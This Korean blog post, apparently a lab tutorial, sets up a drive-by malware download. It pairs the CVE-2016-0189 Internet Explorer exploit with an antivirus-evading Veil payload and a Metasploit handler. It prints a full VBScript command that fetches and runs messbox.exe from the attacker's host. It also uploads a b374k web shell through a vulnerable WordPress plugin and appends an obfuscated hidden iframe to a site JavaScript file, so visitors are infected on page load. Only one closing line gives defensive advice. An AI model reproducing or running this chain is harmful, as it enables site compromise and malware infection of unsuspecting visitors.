반응형

 

 

 

안녕들 하시죠 !

 

이번시간에는 CVE-2016-0189 취약점을 이용한 사이트 방문만으로 악성코드가 다운되는 실습을 진행해보겠습니다.

 

얼마전 올린 글에서 사용한 기법들을 사용할텐데요.

 

Veil-Evasion, vbscript_gotmode.html, b374k 웹쉘 등 을 이용할 계획입니다.

 

우선 Veil-Evasion을 이용하여 백신에 탐지되지 않는 악성코드를 만들어보겠습니다.

지난 게시물에서 진행했던 부분이니 빠르게 넘어가겠습니다.

 

list

 

 

 

use 27

 

 

set LHOST [ 본인 kali ip ]

set LPORT [ 임의의 포트 ]

generate

 

 

 

악성코드 명 : messbox.exe

pyinstaller 1번을 선택하겠습니다.

 

 

messbox.exe을 /var/www  apache의 경로로 복사해놓겠습니다.

cp /usr/share/veil-output/compiled/messbox.exe /var/www

 

msfconsole을 핸들러 경로로 실행시키겠습니다.

msfconsole -r /usr/share/veil-output/handlers/messbox_handler.rc

 

 

이 핸들러는 실습이 끝날때 까지 유지해야합니다 !

 

 

 

 

자, 이제 /var/www 경로에 있는 vbscript_godmode.html을 우클릭 하여 leafpad로 열겠습니다.

find 기능을 이용해 cmd 위치를 찾아주세요.

 

 

위에 화살표가 가리키고 있는 부분을 지우고 제 kali ip로 바꾸겠습니다.

http://192.168.0.29/messbox.exe

 

1
2
3
4
5
6
7
8
9
10
set shell=createobject("Shell.Application")  
shell.ShellExecute "cmd.exe", "/c CD %TEMP%&@echo Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")
>down_exec.vbs&@echo objXMLHTTP.open ""GET"",""http://[ 본인 Kali ip ]/messbox.exe"",false
>>down_exec.vbs&@echo objXMLHTTP.send()>>down_exec.vbs&@echo If objXMLHTTP.Status=200 Then>>down_exec.vbs&@
echo Set objADOStream=CreateObject(""ADODB.Stream"")>>down_exec.vbs&@echo objADOStream.Open>>down_exec.vbs&@
echo objADOStream.Type=1 >>down_exec.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>down_exec.vbs&@
echo objADOStream.Position=0 >>down_exec.vbs&@echo objADOStream.SaveToFile ""%TEMP%\messbox.exe"">>down_exec.vbs&@
echo objADOStream.Close>>down_exec.vbs&@echo Set objADOStream=Nothing>>down_exec.vbs&@echo End if>>down_exec.vbs&@
echo Set objXMLHTTP=Nothing>>down_exec.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>down_exec.vbs&@
echo objShell.Exec(""%TEMP%\messbox.exe"")>>down_exec.vbs&cscript.exe %TEMP%\down_exec.vbs&del %TEMP%\down_exec.vbs", "", "open", 0
cs

 

위에있는 쉘코드는 %TEMP% 폴더에 .vbs 파일을 작성하고 실행하도록 구성했고, 이 .vbs가 실행되면 웹 서버에서 악성코드 ( messbox.exe ) 

를 호출하여 다운로드하고, 실행하도록 구성되어 있습니다.

%TEMP% 폴더를 사용하는 이유는 UAC를 우회하기 위함입니다.

 

혹시 악성코드 명을 messbox가 아닌 다른걸로 하신분들은 이부분에서 본인 악성코드 명을 적어주세요.

그럼 아래있는 부분도 알아서 바뀝니다.

 

http://[ 본인 Kali ip ]/[ 본인 악성코드 명.exe ]

 

이제 wordpress에 관리자 권한으로 들어가 slideshow-gallery.1.4.6 plugin을 이용해 웹쉘을 업로드 해 보겠습니다.

slideshow-gallery.1.4.6 버전은 파일업로드 취약점을 가지고 있는데요.

필요하신 분들은 아래 파일을 받아서 사용하세요.

 

slideshow-gallery.1.4.6.zip
다운로드

 

 

 

Slideshow -> Add New

 

 

찾아보기를 눌러 b374k 웹쉘을 업로드한 후 아래의 save slide를 누르겠습니다.

 

 

 

필터링을 하고 있지 않기에 이렇게 쉽게 업로드하였습니다.

 

아래 주황색으로 하이라이트 되어있는 부분을 보면 127.0.0.1/wordpress/wp-content/uploads/slideshow-gallery/8.php로 되어있는데요

업로드한 파일의 경로와 저장된 이름명이 임의의 8.php로 바뀌어있는 것을 알 수 있습니다.

Image 우클릭 -> 새 창에서 링크 열기 를 누르겠습니다.

 

 

웹쉘이 실행 되었습니다.

윗부분 입력란에 비밀번호 b374k를 입력하고 Go !를 누르시면 접속됩니다.

 

 

/var/www/html/wordpress/wp-includes/js/jquery/jquery-migrate.min.js 경로로 이동하겠습니다.

 

아래의 js를 난독화하여 추가해보겠습니다.

 

1
document.write("<iframe src='http://[ 본인 Kali ip ]/0189.html'width='0' height='0' frameboard='0'></iframe>");
cs
독화는 구글에서 '딘 애드워드 패커' 를 검색하여 사용했습니다.
 

 

 

Paste: 부분에 js를 복사 붙여넣기 하고 Base62 encode를 체크 후 Pack을 눌러 난독화를 시켰습니다.

Copy: 부분에 난독화되어진 코드를 복사하여 웹쉘로 돌아가겠습니다.

 

 

Actions의 edit을 눌러 편집해보겠습니다.

 

 

스크롤을 맨 아래로 내려 맨뒤에 난독화 코드를 붙여넣고 save ! 를 눌러 저장 후 빠져나오겠습니다.

kali로 돌아가 아까 작업했던 vbscript_godmode.html 을 0189.html로 이름만 수정해줍니다.

 

이제 피해자 PC에서 Ubuntu ( Wordpress ) 의 ip를 입력해 접속해보겠습니다.

 

 

TEMP 폴더는 파일탐색기의 경로창에 %TEMP%라고만 치시면 바로 나옵니다.

 

 

 

피해자 PC로 웹페이지를 들어가기만 했는데도 악성코드가 다운로드가 되었습니다.

 

중간에 오류가생겨 다른 vm으로 진행하느냐고 ip가 조금 다를 수 있습니다.

 

 

 

세션을 연결하여 migrate 까지 진행해봤습니다.

 

이러한 침투를 방지하려면 취약점이 있는 IE버전을 사용하지말고 항상 최신버전으로 업데이트 해주는게 제일 중요한 것 같습니다.

이번 실습은 내용도 많고 시간도 많이 걸린만큼 배운게 많았던 것 같습니다.

 

 

오늘은 여기까지입니다 감사합니다 !

+ Recent posts